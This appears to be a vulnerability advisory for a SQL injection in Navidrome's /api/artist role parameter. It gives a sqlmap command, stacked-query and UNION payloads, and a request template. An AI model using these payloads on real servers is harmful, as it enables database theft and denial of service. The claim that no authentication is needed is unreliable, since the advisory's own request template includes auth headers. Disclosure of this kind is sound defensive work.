Navidrome allows SQL Injection via role parameter

🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2

Overview

This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.

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Details

• Vulnerable Component: API endpoint → /api/artist Parameter → role

• Vulnerability Type: SQL Injection (stacked queries, UNION queries)

• Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)

• Impact: Successful exploitation allows an unauthenticated attacker to:

  • Execute arbitrary SQL commands
  • Extract or manipulate sensitive data (e.g., user records, playlists)
  • Potentially escalate privileges or disrupt service availability

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Proof of Concept (PoC)

Example Exploit Command:

sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite

Sample Payloads:

• Stacked Queries:

  http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
  

• UNION-Based Query:

  http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny
  

Example HTTP Request:

GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>

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